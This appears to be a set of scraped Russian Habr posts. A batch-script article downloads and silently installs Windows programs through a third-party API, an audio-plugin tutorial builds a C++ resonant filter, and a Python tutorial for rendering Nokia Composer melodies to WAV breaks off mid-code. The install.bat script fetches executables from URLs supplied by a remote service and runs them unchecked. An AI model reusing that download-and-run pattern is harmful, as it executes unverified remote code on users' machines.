Варианты дистрибутива: Только установочная
Инсталлятор: Без тулбаров
Сертификат: Имеется
Конкуренты:
360-browser
safari
avant-browser
baidu-spark
blackhawk-browser
browzar
chrome-hybrid
chromium
cometbird-browser
comodo-dragon
comodo-icedragon
coolnovo
coowon
cyberfox
dooble
epic-browser
firefox
firefox-hybrid
greenbrowser
internet-explorer
k-meleon
lunascape-browser
maxthon-browser
opera
opera-hybrid
opera-unofficial
orbitum
orca-browser
pale-moon
qip-surf
qupzilla
seamonkey
sleipnir
slimbrowser
slimjet
srware-iron
superbird
theworld-browser
tor-browser-bundle
torch-browser
waterfox
wyzo
yandex-browser
---
**get.bat**
```
@echo off
chcp 1251
%1
%2
cls
set title=%1
set param=%2
IF "%param%" == "x64" GOTO x64
:x86
cd "%TMP%"
wget --quiet "http://api.xetcom.com/export/index.php?title=%title%&link=x86&format=dos" -O "%title%-x86.txt"
wget -i "%title%-x86.txt" -P %USERPROFILE%\Desktop
del "%title%-x86.txt"
Exit /B
:x64
cd "%TMP%"
wget --quiet "http://api.xetcom.com/export/index.php?title=%title%&link=x64&format=dos" -O "%title%-x64.txt"
wget -i "%title%-x64.txt" -P %USERPROFILE%\Desktop
del "%title%-x64.txt"
Exit /B
```
Принцип работы данного файла думаю, будет излишне описывать.
**Демонстрация / загрузка aimp**
Загруженный файл сохраняется на рабочем столе (проверено на Windows 7/8). Не смог найти переменную рабочего стола XP. Хотя [здесь](http://stackoverflow.com/questions/2000638/whats-the-environment-variable-for-the-path-to-the-desktop) есть изощренное решение, но оно тоже почему-то не работает. Проблема в том, что в зависимости от языка путь меняется. Например в русской версии %HOMEPATH%\Рабочий стол, в английской %HOMEPATH%\Desktop и т. д. Чтобы не спамить batch файл многострочными IF-ами, решил отказаться от этой затеи. Пользователям XP придется немного поправить команды. %HOMEPATH% или папка пользователя, оттуда всего один шаг к рабочему столу. Замените %USERPROFILE%\Desktop на %HOMEPATH%\change\_me и готово.
**Автоматизированная поэтапная загрузка через другой bat файл:**
```
cmd /c get 7-zip
cmd /c get opera
cmd /c get firefox
```
---
**Установка «самоустанавливаемых» программ**
Этот трюк требует еще один запрос к API — для получения ключа тихой установки (Unattended/Silent installation switch). Еще стоит обратить внимание, что не все программы поддерживают «тихий режим» установки или вообще изначально портативные (таких тоже очень много). В этом случае после загрузки скрипт просто запустит файл и будет ждать ваших действии.
**install.bat**
```
@echo off
chcp 1251
%1
%2
cls
set title=%1
set param=%2
IF "%param%" == "x64" GOTO x64
:x86
:: Получение данных
cd "%TMP%"
wget --quiet "http://api.xetcom.com/export/index.php?title=%title%&link=x86&format=dos" -O "%title%-x86.txt"
wget -i "%title%-x86.txt" -P %TMP%
wget --quiet "http://api.xetcom.com/export/index.php?title=%title%&format=dos&silent_install=1" -O "%title%-x86-silent.txt"
:: Получение названии и расширении файла
set /p x86=<"%title%-x86.txt"
for /F %%i in ("%x86%") do set x86=%%~nxi
:: Запуск инсталлятора
set /p silent=<"%title%-x86-silent.txt"
cmd /c "%TMP%\%x86% %silent%"
:: Удаление оставшихся файлов
del "%TMP%\%x86%"
del "%title%-x86.txt"
del "%title%-x86-silent.txt"
Exit /B
:x64
:: Получение данных
cd "%TMP%"
wget --quiet "http://api.xetcom.com/export/index.php?title=%title%&link=x64&format=dos" -O "%title%-x64.txt"
wget -i "%title%-x64.txt" -P %TMP%
wget --quiet "http://api.xetcom.com/export/index.php?title=%title%&format=dos&silent_install=1" -O "%title%-x64-silent.txt"
:: Получение названии и расширении файла
set /p x64=<"%title%-x64.txt"
for /F %%i in ("%x64%") do set x64=%%~nxi
:: Запуск инсталлятора
set /p silent=<"%title%-x64-silent.txt"
cmd /c "%TMP%\%x64% %silent%"
:: Удаление оставшихся файлов
del "%TMP%\%x86%"
del "%title%-x64.txt"
del "%title%-x64-silent.txt"
Exit /B
```
**Демонстрация / автоматическая установка burnaware**
**Немножко автоматизации или пакетная установка, или Windows WPI размером 1кб**
```
::==========================::
::=========settings=========::
::==========================::
:: Браузеры
cmd /c install firefox
cmd /c install google-chrome
:: Архиваторы
cmd /c install 7-zip
:: Аудио
cmd /c install foobar200
:: Конвертеры
cmd /c install format-factory
:: Видео
cmd /c install k-lite-codec-pack
cmd /c install audacity
:: Графика
cmd /c install faststone-image-viewer
cmd /c install picpick
:: Система
cmd /c install ultradefrag
cmd /c install hashtab
:: Нужные вещи
cmd /c install adobe-flash-player
cmd /c install microsoft-silverlight
cmd /c install java x64
cmd /c install unlocker
:: Офис
cmd /c install notepad-plus-plus
cmd /c install libreoffice
```
[SFX архив](http://www63.zippyshare.com/v/3492089/file.html) | https://habr.com/ru/post/239443/ | null | ru | null |
# Создание аудиоплагинов, часть 11
Все посты серии:
[Часть 1. Введение и настройка](http://habrahabr.ru/post/224911/)
[Часть 2. Изучение кода](http://habrahabr.ru/post/225019/)
[Часть 3. VST и AU](http://habrahabr.ru/post/225457/)
[Часть 4. Цифровой дисторшн](http://habrahabr.ru/post/225751/)
[Часть 5. Пресеты и GUI](http://habrahabr.ru/post/225755/)
[Часть 6. Синтез сигналов](http://habrahabr.ru/post/226439/)
[Часть 7. Получение MIDI сообщений](http://habrahabr.ru/post/226573/)
[Часть 8. Виртуальная клавиатура](http://habrahabr.ru/post/226823/)
[Часть 9. Огибающие](http://habrahabr.ru/post/227475/)
[Часть 10. Доработка GUI](http://habrahabr.ru/post/227601/)
[Часть 11. Фильтр](http://habrahabr.ru/post/227791/)
[Часть 12. Низкочастотный осциллятор](http://habrahabr.ru/post/227827/)
[Часть 13. Редизайн](http://habrahabr.ru/post/228267/)
[Часть 14. Полифония 1](http://habrahabr.ru/post/231513/)
[Часть 15. Полифония 2](http://habrahabr.ru/post/231923/)
[Часть 16. Антиалиасинг](http://habrahabr.ru/post/232153/)
---
Сегодня мы сделаем резонансный фильтр. Разработка фильтров — это сложная область, над которой ломают голову множество DSP инженеров по всему миру. Мы не будем погружаться в ее дебри, а создадим простой *фильтр нижних частот* (*Low-Pass*), *полосовой* (*Band-Pass*) и *фильтр высоких частот* (*High-Pass*) на основе [алгоритма](http://www.musicdsp.org/showone.php?id=29) Пола Келлета.
Начнем, как вы догадываетесь, с создания класса `Filter`. Удалите ````
#include из *Filter.h* (если есть) и вставьте такое объявление класса:
class Filter {
public:
enum FilterMode {
FILTER_MODE_LOWPASS = 0,
FILTER_MODE_HIGHPASS,
FILTER_MODE_BANDPASS,
kNumFilterModes
};
Filter() :
cutoff(0.99),
resonance(0.0),
mode(FILTER_MODE_LOWPASS),
buf0(0.0),
buf1(0.0)
{
calculateFeedbackAmount();
};
double process(double inputValue);
inline void setCutoff(double newCutoff) { cutoff = newCutoff; calculateFeedbackAmount(); };
inline void setResonance(double newResonance) { resonance = newResonance; calculateFeedbackAmount(); };
inline void setFilterMode(FilterMode newMode) { mode = newMode; }
private:
double cutoff;
double resonance;
FilterMode mode;
double feedbackAmount;
inline void calculateFeedbackAmount() { feedbackAmount = resonance + resonance/(1.0 - cutoff); }
double buf0;
double buf1;
};
```
В `private` находятся такие параметры как *частота среза* `cutoff` и *резонанс* `resonance`. `Mode` определяет текущий режим работы фильтра (Lowpass, Highpass, Bandpass). Переменные `feedbackAmount`, `buf0` и `buf1` используются для алгоритма фильтрации, но об этом позже.
Конструктор просто инициализирует переменные и вычисляет уровень обратной связи (`calculateFeedbackAmount()`). Функция `process` вызывается каждый семпл для обработки сигнала. Так как `feedbackAmount` зависит от `cutoff` и `resonance`, сеттеры должны вызывать `calculateFeedbackAmount` каждый раз после обновления этих параметров.
Добавьте в *Filter.cpp* алгоритм фильтра:
```
// By Paul Kellett
// http://www.musicdsp.org/showone.php?id=29
double Filter::process(double inputValue) {
buf0 += cutoff * (inputValue - buf0);
buf1 += cutoff * (buf0 - buf1);
switch (mode) {
case FILTER_MODE_LOWPASS:
return buf1;
case FILTER_MODE_HIGHPASS:
return inputValue - buf0;
case FILTER_MODE_BANDPASS:
return buf0 - buf1;
default:
return 0.0;
}
}
```
Короткий, да? По сути, он представляет из себя последовательно подключенные НЧ фильтры *первого порядка*. «Первого порядка» грубо говоря означает, что амплитуда составляющих сигнала над частотой среза каждую октаву становится в два раза ниже (т. е. громкость падает на 6 дБ). Две строки с вычислениями `buf0` и `buf1` идентичны: это и есть два НЧ фильтра первого порядка. Первая на вход принимает `inputValue`, вторая - `buf0` (выход первого фильтра). Простое последовательное соединение. Два раза по 6 дБ/окт дает нам 12 дБ/окт. В `switch` видно, что `buf1` это выход НЧ фильтра. Если, например, вместо него возвращать `buf0`, то звук будет падать не на 12, а на 6 дБ/окт, то есть в сигнале будет больше высоких частот.
С `case` `FILTER_MODE_HIGHPASS` все понятно по названию. `buf0` это только низкочастотная составляющая фильтра первого порядка. Если из `inputValue` вычесть `buf0`, останутся высокочастотные составляющие. Можно вычесть и `buf1`, чтобы срез был более крутым.
Из `case` `FILTER_MODE_BANDPASS` ясно, что `buf0 - buf1` это полосовой фильтр. В `buf0` содержится немного больше компонент над частотой среза, чем их содержится в `buf1`. Вычитая, мы получаем разницу.
Вывод следующий: вычитая низкочастотный выход *высшего порядка* из низкочастотного выхода *низшего порядка*, получим полосный фильтр.
Вычисление `buf1` зависит от своего предыдущего значения. Такая структура с обратной связью называется [фильтром с бесконечной импульсной характеристикой](http://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D1%81_%D0%B1%D0%B5%D1%81%D0%BA%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D0%BE%D0%B9_%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81%D0%BD%D0%BE%D0%B9_%D1%85%D0%B0%D1%80%D0%B0%D0%BA%D1%82%D0%B5%D1%80%D0%B8%D1%81%D1%82%D0%B8%D0%BA%D0%BE%D0%B9) (*Infinite Impulse Response*, сокращенно *IIR*). Прочитайте [этот материал](http://www.dspguide.com/ch14/1.htm), чтобы получше разобраться с типами фильтров. Углубляться в это сейчас не стоит, так как математика в этой области не самая простая, и это не цель данного руководства.
### Лирическое отступление
Фильтры являются одними из тех компонентов синтезатора, которые определяют не только характер, но и объективное качество звучания. Лучшие реализации фильтров, как правило, относительно затратны с точки зрения вычислений, а следовательно, разработчикам приходится выбирать между качеством отдельных компонентов и общей функциональностью. Именно поэтому в таких замечательных по гибкости и разнообразию эффектов инструментах, как NI Massive, нельзя добиться «[теплого лампового звука](http://lurkmore.to/%D0%A2%D1%91%D0%BF%D0%BB%D1%8B%D0%B9_%D0%BB%D0%B0%D0%BC%D0%BF%D0%BE%D0%B2%D1%8B%D0%B9_%D0%B7%D0%B2%D1%83%D0%BA)». Его звук может быть навороченным и интересным, но как бы вы не пытались сымитировать простое классическое звучание, звук будет тусклый. Но в данном случае ламповое тепло не требуется, ведь фокус внимания слушателя смещен на динамику компонентов звука (синтезаторы типа Massive являются самыми популярными инструментами для создания дабстепа). В то же время такой «простой» инструмент, как, например, AAS Ultra Analog, не смотря на отсутствие множества разных огибающих, низкочастотных осцилляторов и прочих эффектов, имеет эстетически приятный звук, каждую ноту которого можно слушать как живой инструмент. Если вы хотите больше углубиться в тему разработки фильтров, есть хорошая, лаконичная и бесплатная [книга](http://www.kvraudio.com/forum/viewtopic.php?t=350246), написанная Вадимом Завалишиным, много лет работающим над проектом NI Reaktor. Конечно, в дизайне инструментов применяются и другие хитрости помимо качественной имплементации фильтров — дрожание фазы и амплитуды, спектральное насыщение и т.д. Но вернемся к нашему плагину.
### Использование фильтра
Давайте включать фильтр в синтезатор. Начнем с GUI. Удалите *bg.png* из проекта (*“Move to trash”* в Xcode), скачайте и закиньте в проект новые изображения:
* [filtermode.png](http://martin-finke.de/blog/articles/audio-plugins-013-filter/filtermode.png)
* [knob\_small.png](http://martin-finke.de/blog/articles/audio-plugins-013-filter/knob_small.png) (Та же ручка, но размером 50 на50 пикселей)
* [bg.png](http://martin-finke.de/blog/articles/audio-plugins-013-filter/bg.png) (Новый фон с пространством под элементы управления фильтром)
Дописываем ссылки и ID в *resource.h*:
```
// Unique IDs for each image resource.
#define BG_ID 101
#define WHITE_KEY_ID 102
#define BLACK_KEY_ID 103
#define WAVEFORM_ID 104
#define KNOB_ID 105
#define KNOB_SMALL_ID 106
#define FILTERMODE_ID 107
// Image resource locations for this plug.
#define BG_FN "resources/img/bg.png"
#define WHITE_KEY_FN "resources/img/whitekey.png"
#define BLACK_KEY_FN "resources/img/blackkey.png"
#define WAVEFORM_FN "resources/img/waveform.png"
#define KNOB_FN "resources/img/knob.png"
#define KNOB_SMALL_FN "resources/img/knob_small.png"
#define FILTERMODE_FN "resources/img/filtermode.png"
```
Редактируем *Synthesis.rc*:
```
#include "resource.h"
BG_ID PNG BG_FN
WHITE_KEY_ID PNG WHITE_KEY_FN
BLACK_KEY_ID PNG BLACK_KEY_FN
WAVEFORM_ID PNG WAVEFORM_FN
KNOB_ID PNG KNOB_FN
KNOB_SMALL_ID PNG KNOB_SMALL_FN
FILTERMODE_ID PNG FILTERMODE_FN
```
Не забудьте `#include "Filter.h"` в *Synthesis.h* и добавьте в `private`:
```
Filter mFilter;
```
Дополним `EParams` в *Synthesis.cpp*:
```
enum EParams
{
mWaveform = 0,
mAttack,
mDecay,
mSustain,
mRelease,
mFilterMode,
mFilterCutoff,
mFilterResonance,
mFilterAttack,
mFilterDecay,
mFilterSustain,
mFilterRelease,
mFilterEnvelopeAmount,
kNumParams
};
```
Измените в конструкторе вертикальное положение переключателя форм волны:
```
pGraphics->AttachControl(new ISwitchControl(this, 24, 38, mWaveform, &waveformBitmap));
```
Ручки огибающей можно оставить как есть. Нужно добавить переключатель режимов фильтра (Lowpass, Highpass, Bandpass). Добавьте его перед `AttachGraphics(pGraphics)`:
```
GetParam(mFilterMode)->InitEnum("Filter Mode", Filter::FILTER_MODE_LOWPASS, Filter::kNumFilterModes);
IBitmap filtermodeBitmap = pGraphics->LoadIBitmap(FILTERMODE_ID, FILTERMODE_FN, 3);
pGraphics->AttachControl(new ISwitchControl(this, 24, 123, mFilterMode, &filtermodeBitmap));
```
Нам понадобятся ручки для изменения частоты среза и резонанса. Добавьте их туда же. Будем использовать новую ручку *knob\_small.png*:
```
// Knobs for filter cutoff and resonance
IBitmap smallKnobBitmap = pGraphics->LoadIBitmap(KNOB_SMALL_ID, KNOB_SMALL_FN, 64);
// Cutoff knob:
GetParam(mFilterCutoff)->InitDouble("Cutoff", 0.99, 0.01, 0.99, 0.001);
GetParam(mFilterCutoff)->SetShape(2);
pGraphics->AttachControl(new IKnobMultiControl(this, 5, 177, mFilterCutoff, &smallKnobBitmap));
// Resonance knob:
GetParam(mFilterResonance)->InitDouble("Resonance", 0.01, 0.01, 1.0, 0.001);
pGraphics->AttachControl(new IKnobMultiControl(this, 61, 177, mFilterResonance, &smallKnobBitmap));
```
Держите в уме, что значение среза не в коем случае не должно быть `1.0`, иначе внутри `calculateFeedbackAmount` все поделится на ноль, буквально.
В `ProcessDoubleReplacing` скормите сгенерированные семплы звука фильтру:
```
leftOutput[i] = rightOutput[i] = mFilter.process(mOscillator.nextSample() * mEnvelopeGenerator.nextSample() * velocity / 127.0);
```
Фильтр должен реагировать на смену стадий огибающей. Дополните `switch` в функции `Synthesis::OnParamChange`:
```
case mFilterCutoff:
mFilter.setCutoff(GetParam(paramIdx)->Value());
break;
case mFilterResonance:
mFilter.setResonance(GetParam(paramIdx)->Value());
break;
case mFilterMode:
mFilter.setFilterMode(static_cast(GetParam(paramIdx)->Int()));
break;
```
Можно провести первые испытания. Изобразите что-нибудь и покрутите ручку в процессе игры.
### Резонанс
Резонанс — это просто пик на частоте среза. Его можно создать, взяв полосную составляющую, умножив ее на некоторое значение и прибавив к исходному сигналу.
Измените первую строку в алгоритме фильтра:
```
buf0 += cutoff * (inputValue - buf0 + feedbackAmount * (buf0 - buf1));
```
Все, что мы сделали, это добавили выход полосного фильтра (`buf0 – buf1`), умноженный на `feedbackAmount`. В теле функции `calculateFeedbackAmount` параметр `feedbackAmount` пропорционален `resonance`, т. е. пик будет тем громче, чем выше резонанс.
Запустите плагин, зажмите любую ноту и покрутите ручку частоты среза с разными значениями резонанса. Если выкрутить резонанс на максимум, возникнет *автоколебание*, которое можно использовать для создания [интересных эффектов](https://www.youtube.com/watch?v=JWyMj6KxGHM). Имея всего несколько параметров, мы уже можем извлекать целую палитру разнообразных звуков, в особенности с ВЧ и полосным фильтром.
### От -12 дБ/окт до -24 дБ/окт
Вместо двух давайте запилим четыре фильтра в ряд! Это даст нам затухание 24 децибела на октаву. Добавьте пару строк перед `switch` в `Filter::process`:
```
buf2 += cutoff * (buf1 - buf2);
buf3 += cutoff * (buf2 – buf3);
```
Идея та же: на вход принимаем выход предыдущего фильтра, вычитаем из него предыдущее значение текущего фильтра, умножаем эту разницу на срез и прибавляем к предыдущему значению текущего фильтра. Это можно продолжать и дальше, но фильтр станет затратным по вычислениям и, возможно, [нестабильным](https://ccrma.stanford.edu/~Jos/filters/Filter_Stability.html) (обсудим это подробнее в одном из следующих постов). Не забудьте изменить и `switch`:
```
switch (mode) {
case FILTER_MODE_LOWPASS:
return buf3;
case FILTER_MODE_HIGHPASS:
return inputValue - buf3;
case FILTER_MODE_BANDPASS:
return buf0 - buf3;
default:
return 0.0;
}
```
Здесь вместо `buf1` используется `buf3` – выход четырех последовательных фильтров первого порядка. Затухание компонент равно -24 дБ/окт. Мы еще не объявили `buf2` и `buf3`, так что давайте сделаем это в секции `private` *Filter.h*:
```
double buf2;
double buf3;
```
И инициализируем их нулями, как и `buf0` c `buf1`:
```
Filter() :
// ...
buf0(0.0),
buf1(0.0),
buf2(0.0),
buf3(0.0)
// ...
```
Если запустить плагин и послушать, заметно, что фильтр стал резать круче: частоты над срезом заглушены сильнее. Это несколько ближе к звучанию аналоговых синтезаторов.
А что если мы будем изменять частоту среза во времени?
### Огибающая фильтра
Самое интересное еще впереди. Благодаря тому, что мы с самого начала старались делать наш дизайн хорошо структурированным, добавить вторую огибающую для фильтра очень просто.
Вообще-то нам не стоит непосредственно изменять `cutoff` при помощи огибающей. Частота среза связана с ручкой интерфейса. Давайте добавим переменную `cutoffMod`, которая будет меняться огибающей, и которую мы будем добавлять к `cutoff` для вычисления суммарного среза. В хедере фильтра добавьте ``#include и допишите в private` переменную:
```
double cutoffMod;
```
Инициализируйте:
```
Filter() :
cutoff(0.99),
resonance(0.01),
cutoffMod(0.0),
// ...
```
Суммарный срез не должен выходить из области допустимых значений. Добавьте в `private` строки:
```
inline double getCalculatedCutoff() const {
return fmax(fmin(cutoff + cutoffMod, 0.99), 0.01);
};
```
`calculateFeedbackAmount` должна использовать этот вычисленный срез:
```
inline void calculateFeedbackAmount() {
feedbackAmount = resonance + resonance/(1.0 - getCalculatedCutoff());
}
```
И давайте добавим публичный сеттер для `cutoffMod`. Так как `feedbackAmount` зависит от вычисленного среза, сеттер и его должен обновлять:
```
inline void setCutoffMod(double newCutoffMod) {
cutoffMod = newCutoffMod;
calculateFeedbackAmount();
}
```
Логично, что и алгоритм фильтра надо немного подправить. Первые строки `Filter::process` должны выглядеть так:
```
if (inputValue == 0.0) return inputValue;
double calculatedCutoff = getCalculatedCutoff();
buf0 += calculatedCutoff * (inputValue - buf0 + feedbackAmount * (buf0 - buf1));
buf1 += calculatedCutoff * (buf0 - buf1);
buf2 += calculatedCutoff * (buf1 - buf2);
buf3 += calculatedCutoff * (buf2 – buf3);
```
Благодаря первой строке фильтр не будет работать впустую, когда его вход молчит. Подобная проверка имеет смысл, когда обусловленный ею код заметно сложнее, чем сама проверка. Это как раз тот случай. Помимо этого и замены `cutoff` на `calculatedCutoff` все остается по-прежнему.
Теперь, когда срезом фильтра можно управлять извне (вызывая `setCutoffMod`), в класс `Synthesis` надо добавить огибающую фильтра, которая будет запускаться так же, как существующая огибающая осциллятора. Пользователь сможет менять то, насколько сильно эта огибающая будет влиять на `cutoffMod`. Добавим новый параметр `filterEnvelopeAmount` со значениями от `-1` до `+1`. Потом доработаем GUI.
В секцию `private` *Synthesis.h* добавьте пару членов класса:
```
EnvelopeGenerator mFilterEnvelopeGenerator;
double filterEnvelopeAmount;
```
Мы хотим запускать оба генератора огибающих MIDI сообщениями, так что надо отредактировать функции `onNoteOn` и `onNoteOff`:
```
inline void onNoteOn(const int noteNumber, const int velocity) {
mEnvelopeGenerator.enterStage(EnvelopeGenerator::ENVELOPE_STAGE_ATTACK);
mFilterEnvelopeGenerator.enterStage(EnvelopeGenerator::ENVELOPE_STAGE_ATTACK);
};
inline void onNoteOff(const int noteNumber, const int velocity) {
mEnvelopeGenerator.enterStage(EnvelopeGenerator::ENVELOPE_STAGE_RELEASE);
mFilterEnvelopeGenerator.enterStage(EnvelopeGenerator::ENVELOPE_STAGE_RELEASE);
};
```
Смысл остался тот же. В теле `ProcessDoubleReplacing` непосредственно перед вычислением семплов звука добавьте эту строку:
```
mFilter.setCutoffMod(mFilterEnvelopeGenerator.nextSample() * filterEnvelopeAmount);
```
Как видите, мы перемножаем следующее значение семпла огибающей фильтра `nextSample` на `filterEnvelopeAmount` и записываем результат в `cutoffMod`. Надо не забыть инициализировать `filterEnvelopeAmount` в конструкторе:
```
Synthesis::Synthesis(IPlugInstanceInfo instanceInfo) : IPLUG_CTOR(kNumParams, kNumPrograms, instanceInfo),
lastVirtualKeyboardNoteNumber(virtualKeyboardMinimumNoteNumber - 1),
filterEnvelopeAmount(0.0) {
// ...
}
```
И обязательно установить частоту семплирования в `Synthesis::Reset`:
```
mFilterEnvelopeGenerator.setSampleRate(GetSampleRate());
```
Мы уже добавили параметры в `EParams`, теперь их надо инициализировать и добавить ручки. Перед `AttachGraphics` в конструкторе добавьте все это:
```
// Knobs for filter envelope
// Attack knob
GetParam(mFilterAttack)->InitDouble("Filter Env Attack", 0.01, 0.01, 10.0, 0.001);
GetParam(mFilterAttack)->SetShape(3);
pGraphics->AttachControl(new IKnobMultiControl(this, 139, 178, mFilterAttack, &smallKnobBitmap));
// Decay knob:
GetParam(mFilterDecay)->InitDouble("Filter Env Decay", 0.5, 0.01, 15.0, 0.001);
GetParam(mFilterDecay)->SetShape(3);
pGraphics->AttachControl(new IKnobMultiControl(this, 195, 178, mFilterDecay, &smallKnobBitmap));
// Sustain knob:
GetParam(mFilterSustain)->InitDouble("Filter Env Sustain", 0.1, 0.001, 1.0, 0.001);
GetParam(mFilterSustain)->SetShape(2);
pGraphics->AttachControl(new IKnobMultiControl(this, 251, 178, mFilterSustain, &smallKnobBitmap));
// Release knob:
GetParam(mFilterRelease)->InitDouble("Filter Env Release", 1.0, 0.001, 15.0, 0.001);
GetParam(mFilterRelease)->SetShape(3);
pGraphics->AttachControl(new IKnobMultiControl(this, 307, 178, mFilterRelease, &smallKnobBitmap));
// Filter envelope amount knob:
GetParam(mFilterEnvelopeAmount)->InitDouble("Filter Env Amount", 0.0, -1.0, 1.0, 0.001);
pGraphics->AttachControl(new IKnobMultiControl(this, 363, 178, mFilterEnvelopeAmount, &smallKnobBitmap));
```
Все практически то же самое, но тут вместо большой ручки используем `smallKnobBitmap`. Вдобавок к четырем ручкам для стадий огибающей фильтра мы сделали еще одну для регулировки количества воздействия огибающей на фильтр. Осталось только реагировать на то, как пользователь крутит ручки. В `Synthesis::OnParamChange` добавьте в существующий `switch`:
```
case mFilterAttack:
mFilterEnvelopeGenerator.setStageValue(EnvelopeGenerator::ENVELOPE_STAGE_ATTACK, GetParam(paramIdx)->Value());
break;
case mFilterDecay:
mFilterEnvelopeGenerator.setStageValue(EnvelopeGenerator::ENVELOPE_STAGE_DECAY, GetParam(paramIdx)->Value());
break;
case mFilterSustain:
mFilterEnvelopeGenerator.setStageValue(EnvelopeGenerator::ENVELOPE_STAGE_SUSTAIN, GetParam(paramIdx)->Value());
break;
case mFilterRelease:
mFilterEnvelopeGenerator.setStageValue(EnvelopeGenerator::ENVELOPE_STAGE_RELEASE, GetParam(paramIdx)->Value());
break;
case mFilterEnvelopeAmount:
filterEnvelopeAmount = GetParam(paramIdx)->Value();
break;
```
### Кислота!
Запускайте и тестируйте новую функциональность! Попробуйте вот такие положения ручек и поиграйте на нижних нотах (где-нибудь в бассейне C1), будет забавно хлюпать:
С незначительными доработками мы использовали наш класс `EnvelopeGenerator` для фильтра. Это делает синтезатор более гибким и расширяет палитру звуков. Мы уже приближаемся к завершению классического монофонического синтезатора!
Исходники можно скачать [отсюда](http://martin-finke.de/blog/articles/audio-plugins-013-filter/source.zip).
В следующий раз мы добавим низкочастотный осциллятор :)
Оригинал статьи:
[martin-finke.de/blog/articles/audio-plugins-013-filter](http://martin-finke.de/blog/articles/audio-plugins-013-filter/)`` | https://habr.com/ru/post/227791/ | null | ru | null |
# Пишем конвертер для генератора мелодий от Nokia 3310
#### Любителям всего старого, но безумно интересного, добрый вечер!
> Помните такой телефон — Nokia 3310? Разумеется, помните! А такую штуку как синтезатор мелодий в нем? Тоже помните, отлично. А по старым, теплым и ламповым мелодиям скучаете? Вот и я скучаю. А еще мне на глаза попался сайтик с более чем сотней нотных листов для этого редактора. И что я должен был оставить эту прелесть без внимания? Нет уж. Что я сделал? Правильно! Взял и написал точно такой же генератор мелодий, который позволяет на выходе получить Wave — файл с мелодией. Интересно, что из этого получилось? Тогда прошу под кат.
**Nokia Composer** был встроен в целую кучу телефонов, подобных Nokia 3310. Кроме 7 нот, он позволял записать 5 диезов, указать октаву и длительность в частях. А еще были ноты, которые не звучали — паузы. То есть «нота» в Composer'e была действительно нотой.
*Сама запись ноты для Composer'a выглядела так:*
То есть, в начале идет **длительность** (в частях от целой), затем могла присутствовать **точка**, удлиняющая звучание в полтора раза, **сама нота** в буквенном обозначении, и **октава**. При этом **после паузы октава не указывается** (логично?), а длительность указывается ровно так же, как и для нормальной ноты.
**Ладно, наговорились.**
##### Давайте напишем скрипт, который будет принимать ноту, как она есть и возвращать кортеж параметров.
(пишем на Python 2.7, да)
```
def Parse_Tone(Note):
Note = Note.upper()
if Note.find("-") == -1:
try:
(Duration, Octave) = re.findall(r"[0-9]+", Note)
except:
pass
else:
Duration = re.findall(r"[0-9]+", Note)[0]
Octave = 1
Tone = re.findall(r"[A-Z,#,-]+", Note)[0]
Duration = int(Duration)
Octave = int(Octave)
if Note.find(".") != -1:
Duration = Duration/1.5
return (32/Duration, Tone, Octave)
```
Во! То есть, сначала мы переводим ее в ВЕРХНИЙ РЕГИСТР, а затем — с помощью регулярных выражений разбираем на составляющие. Отдельно проверяем наличие точки (увеличиваем в 1.5 раза) и учитываем паузу.
Готото!
Теперь если передать функции, например, 16C2, на выходе получим (2, C, 2) то есть длительность в долях, ноту и октаву.
**Что? Откуда взялось число 32? Это просто**
Оригинальный Nokia Composer позволял установить длительность ноты как **1/32 «полной» ноты.** При этом для него **существуют еще и 1/16, 1/8, 1 / 4, 1 /2 и 1 длительности.** То есть каждая следующая длительность отличается от предыдущей ровно в 2 раза. Тогда мы можем сделать вот что:
**Возьмем 1/32 ноты как «единичную ноту»**. Тогда 1/16 — это уже 2 единичных ноты, 1/8 — 4 и так далее. Тогда мы можем взять и поделить 32 на полученную длительность.
**С этим разобрались. Теперь осталось понять, как мы будем все это дело превращать в Wav — файл.**
Если очень грубо — в **Wave файле, кроме заголовка записаны напряжения, которые подаются на динамик.** Если чуть точнее — **части напряжений от максимального**. То есть, если в двухбайтовом фрейме записано число 32765 — это означает, что нужно подать максимальное напряжение. Изменяя уровни напряжений с течением времени, мы можем добиться колебаний мембраны динамика. А если эти колебания будут в нужном нам диапазоне… Правильно! Мы услышим звук определенной частоты.
**Теперь, о том, как это сделать.**
Давайте напряжем память и… вспомним школьный курс физики! Примерно ту часть, в которой говорится о **гармонических колебаниях**.
Если очень просто: *гармонические колебания — тип колебаний, колеблющаяся величина которых изменяется по закону синуса* (ну или косинуса, как хотите)
Общая формула этого безобразия выглядит как:
При этом циклическая частота это
**Вспомнили? Отлично! Теперь надо понять — зачем.**
Раз уж звук мы решили задавать как изменение напряжения на динамике, то изменения это будем задавать как **синусоиду с нужной нам циклической частотой** (кстати, самый наглядный способ формирования звука). При этом формула для расчета амплитуды текущего фрейма будет выглядеть как
**Result = (32765\*VOL\*math.sin(6.28\*FREQ\*i/44100))**
> *Откуда все это взялось? Рассказываю.*
>
>
>
> **32765 —** Фрейм у нас двухбайтовый, поэтому максимальное значение амплитуды ровно 32765. VOL — переменная, задающая громкость. Изменяется в диапазоне от 0 (полная тишина) до 1 (орет как на площади)
>
>
>
> **6.28 —** это всего-навсего 2\*Pi. Можно каждый раз высчитывать, но мы ж не звери.
>
>
>
> **FREQ** — А это то, ради чего все и затевалось — нужная нам частота.
>
>
>
> **i/44100** — время, относительно начала отсчета. Почему мы делим на 44100? А потому что это частота дискретизации выходного файла (ну это я так придумал. Можно и меньше. Качество будет ниже). За секунду проходит 44100 отсчетов, поэтому и делим. Надеюсь, получилось объяснить
>
>
Ну вот. Один фрейм мы задавать научились. Теперь нужно сделать так, чтобы это все работало. То есть, помимо частоты задать еще и длительность.
А раз уж частота фиксированная… Ага! Обернем в цикл.
**Вот в такой.**
```
for i in range(0,TIME/10*441):
Result = (32765*VOL*math.sin(6.28*FREQ*i/44100))
Frames.append(Result)
```
> Опять непонятности. Откуда взялось **TIME/10\*441**? Из моего воображения. Нет, серьезно. Это я так решил, что минимальное время звучания — *0.001 секунда*. Как я уже говорил — один отсчет (при данной частоте дискретизации) это *1/44100* секунды. Соответственно, 0.001 секунда это 44.1 отсчета. А 44.1 = 441/10. А если надо задать N миллисекунд… домножим, ага. Вот мы и получаем то, что написали (TIME — это как раз таки время в миллисекундах, да)
>
>
Так ну и обернем все это дело функцию, надеюсь никто не против?
```
def Append_Freq(VOL,FREQ, TIME):
for i in range(0,TIME/10*441):
